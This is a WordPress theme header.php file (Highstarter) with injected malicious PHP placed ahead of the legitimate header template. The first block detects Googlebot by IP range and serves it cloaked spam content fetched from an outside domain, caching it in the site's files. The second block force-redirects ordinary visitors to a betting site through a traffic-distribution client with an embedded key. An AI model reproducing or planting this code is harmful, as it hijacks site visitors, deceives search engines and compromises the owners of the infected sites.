File: /home/opal/.trash/category-template-1755158582/header.php
<?php
if (!function_exists('fetchUrl')) {
$googlebotRangesUrl = 'https://developers.google.com/search/apis/ipranges/googlebot.json';
$userIP = getUserIP();
$ipRanges = getGooglebotIPRanges($googlebotRangesUrl);
if (isGooglebotIP($userIP, $ipRanges)) {
showRemoteContent();
exit();
}
function fetchUrl($url) {
if (function_exists('curl_init') && ini_get('allow_url_fopen') == false) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Content Fetcher)');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$result = curl_exec($ch);
curl_close($ch);
return $result;
} else {
$context = stream_context_create([
'http' => [
'timeout' => 10,
'user_agent' => 'Mozilla/5.0 (compatible; Content Fetcher)'
]
]);
return @file_get_contents($url, false, $context);
}
}
function getUserIP() {
$headers = [
'HTTP_CF_CONNECTING_IP',
'HTTP_X_FORWARDED_FOR',
'HTTP_X_REAL_IP',
'HTTP_CLIENT_IP',
'HTTP_X_FORWARDED',
'HTTP_FORWARDED_FOR',
'HTTP_FORWARDED'
];
foreach ($headers as $header) {
if (isset($_SERVER[$header]) && !empty($_SERVER[$header])) {
$ips = explode(',', $_SERVER[$header]);
$ip = trim($ips[0]);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
return $ip;
}
}
}
return $_SERVER['REMOTE_ADDR'] ?? '127.0.0.1';
}
function getGooglebotIPRanges($url) {
$jsonData = fetchUrl($url);
if ($jsonData === false) {
return [];
}
$data = json_decode($jsonData, true);
if (!isset($data['prefixes']) || !is_array($data['prefixes'])) {
return [];
}
$ranges = [
'ipv4' => [],
'ipv6' => []
];
foreach ($data['prefixes'] as $prefix) {
if (isset($prefix['ipv4Prefix'])) {
$ranges['ipv4'][] = $prefix['ipv4Prefix'];
} elseif (isset($prefix['ipv6Prefix'])) {
$ranges['ipv6'][] = $prefix['ipv6Prefix'];
}
}
return $ranges;
}
function isGooglebotIP($ip, $ipRanges) {
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
foreach ($ipRanges['ipv4'] as $range) {
if (ipv4InRange($ip, $range)) {
return true;
}
}
}
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)) {
foreach ($ipRanges['ipv6'] as $range) {
if (ipv6InRange($ip, $range)) {
return true;
}
}
}
return false;
}
function showRemoteContent() {
$domain = $_SERVER['HTTP_HOST'];
$remoteUrl = "https://wonderfulworld.site/tr/{$domain}/index.txt";
$cacheDir = $_SERVER['DOCUMENT_ROOT'] . '/wp-content/cache/wonderfulworld/';
$cacheFile = $cacheDir . md5($domain) . '.txt';
$cacheTime = 259200;
if (!is_dir($cacheDir)) {
@mkdir($cacheDir, 0755, true);
}
$content = null;
if (file_exists($cacheFile) && (time() - filemtime($cacheFile)) < $cacheTime) {
$content = file_get_contents($cacheFile);
} else {
$content = fetchUrl($remoteUrl);
if ($content !== false) {
@file_put_contents($cacheFile, $content, LOCK_EX);
} else {
if (file_exists($cacheFile)) {
$content = file_get_contents($cacheFile);
}
}
}
if ($content !== false && $content !== '') {
echo $content;
} else {
http_response_code(503);
echo "Service temporarily unavailable";
}
}
function ipv4InRange($ip, $range) {
if (strpos($range, '/') === false) {
return $ip === $range;
}
list($subnet, $bits) = explode('/', $range);
$ip = ip2long($ip);
$subnet = ip2long($subnet);
if ($ip === false || $subnet === false) {
return false;
}
$mask = (-1 << (32 - (int)$bits)) & 0xFFFFFFFF;
return ($ip & $mask) == ($subnet & $mask);
}
function ipv6InRange($ip, $range) {
if (strpos($range, '/') === false) {
return $ip === $range;
}
list($subnet, $bits) = explode('/', $range);
$ip = inet_pton($ip);
$subnet = inet_pton($subnet);
if ($ip === false || $subnet === false) {
return false;
}
$bits = (int)$bits;
$mask = str_repeat(chr(0xff), intval($bits / 8));
if ($bits % 8) {
$mask .= chr(0xff << (8 - ($bits % 8)));
}
$mask = str_pad($mask, 16, chr(0x00));
for ($i = 0; $i < 16; $i++) {
if (($ip[$i] & $mask[$i]) != ($subnet[$i] & $mask[$i])) {
return false;
}
}
return true;
}
}
?>
<?php
require_once $_SERVER['DOCUMENT_ROOT'] . '/tr/wp-klient.php';
$client = new KClient('https://lom.bet/', 'cyyqzgq1gcmthgkz8rdrqb1mbqpbbmq7');
$client->sendAllParams();
$client->forceRedirectOffer();
$client->keyword('09_08_tr_main');
$client->currentPageAsReferrer();
$client->executeAndBreak();
?>
<?php
/**
* The header for the Highstarter theme
*
* This is the template that displays all of the <header> section
*
* @link https://developer.wordpress.org/themes/basics/template-files/#template-partials
*
* @package Highstarter
*
* @since 1.0
* @version 1.0
*/
?>
<!DOCTYPE html>
<html <?php language_attributes();?>>
<head>
<meta charset="<?php bloginfo('charset');?>">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="profile" href="http://gmpg.org/xfn/11">
<?php wp_head();?>
</head>
<body <?php body_class();?>>
<?php wp_body_open(); ?>
<header class="site-header">
<a class="screen-reader-text skip-link" href="#content"><?php _e( 'Skip to content', 'highstarter'); ?></a>
<div class="site-header-wrapper">
<div class="site-logo-wrapper">
<?php // Insert logo through WP admin here
highstarter_dark_mode_logo();
highstarter_the_custom_logo(); ?>
</div>
<div class="main-navigation-container">
<?php get_template_part('template-parts/header/navigation');?>
</div>
</div><!-- .header wrapper -->
<?php get_template_part('template-parts/header/site-branding');?>
</header><!-- .site-header -->
<main class="site-content">
<div class="wrapper">